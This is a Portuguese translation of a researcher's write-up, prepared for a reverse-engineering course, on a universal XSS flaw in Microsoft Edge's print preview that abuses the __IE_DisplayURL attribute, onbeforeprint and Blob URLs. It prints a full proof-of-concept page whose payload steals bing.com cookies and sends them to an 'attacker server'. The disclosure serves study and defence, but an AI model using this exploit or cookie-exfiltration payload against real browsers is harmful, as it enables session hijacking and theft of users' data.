A tradução do artigo foi preparada especialmente para os alunos do curso de engenharia reversa .
O Universal XSS (uXSS) é um bug do navegador que permite executar o código JavaScript em qualquer site.
Parece que o XSS está em todos os sites e parece muito interessante. O que é ainda mais interessante é como encontrei esse erro. Normalmente, quando se trata de uXSS, isso provavelmente ocorre devido ao elemento IFRAME ou à confusão com a URL, mas nunca pensei em encontrar uma vulnerabilidade XSS usando a função
print()
.
Janela de visualização
Vamos falar sobre o que realmente acontece quando o Edge exibe uma janela de visualização da impressão.
Eu sempre pensei que havia apenas uma captura de tela desenhada por tecnologia como o
Canvas , mas na verdade a página que você vai imprimir é copiada para
temp e reproduzida novamente!
Quando
print()
é executado na página, vemos a seguinte atividade do sistema de arquivos no
Process Monitor :

Portanto, o arquivo é criado no diretório temporário do Edge e o conteúdo desse arquivo é uma versão ligeiramente modificada da página original que tentamos imprimir. Vamos comparar.
Antes de imprimir:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html>
Após a impressão:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META content="text/html; charset=utf-8" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> <SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT> </BODY></HTML>
Há várias coisas que podemos notar nessa comparação.
- Javascript é codificado e renderizado incorretamente.
- O IFRAME agora aponta para outro arquivo local no mesmo diretório que contém o código fonte do link
bing.com
original. - O elemento HTML agora tem um atributo peculiar
__IE_DisplayURL
.
Em relação ao primeiro e segundo pontos, realizei vários testes. No começo, eu queria entender se poderia obter código Javascript válido depois de alterar a codificação, na esperança de que, no final, eu pudesse executar o Javascript. Descobriu-se que qualquer código dentro do elemento
<
script>
, normal ou não, não será executado.
O segundo item me ajudou a expor o nome de usuário do sistema operacional usando a funcionalidade
@media print{}
no CSS e na mágica do seletor. Consegui obtê-lo a partir do valor href IFRAME. No entanto, isso não foi suficiente.
No terceiro parágrafo, tornou-se interessante, pois esse atributo é extremamente incomum e até o momento não o encontrei. Eu imediatamente o pesquisei no Google e encontrei vários artigos, com base nos quais eu percebi que alguém Masato Kinugawa já havia brincado com
ele e descoberto bugs interessantes.
Depois de ler e praticar, descobri que o contexto de visualização aprende de onde vem este documento. Isso faz sentido porque o Edge abre arquivos usando o
file:
esquema de URI. Com esse atributo apontando para a fonte, você notará que todas as solicitações provenientes do documento (como parte da visualização) imitarão exatamente o mesmo comportamento como se elas viessem do site original.
Como podemos usar esse atributo? Deve haver alguma maneira!
Execução de código Javascript com visualização
Como eu disse antes, qualquer código JavaScript na tag de script normal será bloqueado ou simplesmente ignorado. Mas e se você pensar em uma direção diferente? Eu tentei tudo o que pude pensar, para evitar que você perca tempo em muitas tentativas malsucedidas e vou direto ao ponto.
Aqui estamos lidando com a função de impressão, então eu brinquei com eventos relacionados à impressão. O resultado foi trazido a mim por
"onbeforeprint"
. Com a ajuda, tive a oportunidade de implementar um IFRAME que apontava para qualquer site e o Edge não precisava convertê-lo primeiro em um arquivo. Quase imediatamente, tentei implementar um IFRAME que apontava para a URL do código Javascript e a dama! Este código foi executado no contexto da visualização.
Teste de injeção de Javascript:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html>
Depois de converter a visualização do documento:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV> <SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </SCRIPT> </BODY></HTML>
Captura de tela do resultado:

Só porque podemos executar o código não significa que estamos prontos. Como eu disse anteriormente, devido ao atributo
__IE_DisplayURL
qualquer solicitação ou chamada de API será considerada de saída do documento.
Implementação de UXSS
Agora que podemos implementar nosso código executável, precisamos de alguma forma criar nossa própria "visualização de documento" com nosso próprio
__IE_DisplayURL
e, em seguida, podemos simular qualquer site que escolhermos para o uXSS.
Descobri que usando o
URL do
Blob posso obter o efeito desejado! Por isso,
bing.com
meu próprio documento imprimível com meu atributo apontando para o site de destino (no meu caso,
bing.com
). Continha Javascript IFRAME, que era executado como se viesse do
bing.com
.
Eu implementei o seguinte código:
if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) }
Onde
top.document.getElementById('qd').value
é o próximo documento falso a ser impresso.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML>
Tudo o que faço é ler
document.cookie
e enviá-los de volta ao servidor.
Agora vamos resumir o que a versão final da exploração faz:
- Usando o evento
onbeforeprint
, onbeforeprint
um IFRAME que aponta para a minha carga útil antes da impressão. - Para inicializar, chamo
window.print()
. - O Edge exibe uma janela de visualização enquanto renderiza meu código incorporado;
- O código Javascript incorporado criou um URL de Blob que contém meu próprio
bing.com
imprimível bing.com
e redireciona o quadro superior para esse endereço. - O contexto de visualização da impressão considera que o conteúdo do meu URL de Blob é realmente imprimível e define a origem do documento como
bing.com
usando o atributo __IE_DisplayURL
. - O próprio documento imprimível falso contém outro IFRAME que simplesmente exibe o
document.cookie
da bing.com
. - O uXSS funciona!
Código final e vídeo
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.onbeforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html>
Links úteis:→
Microsoft.com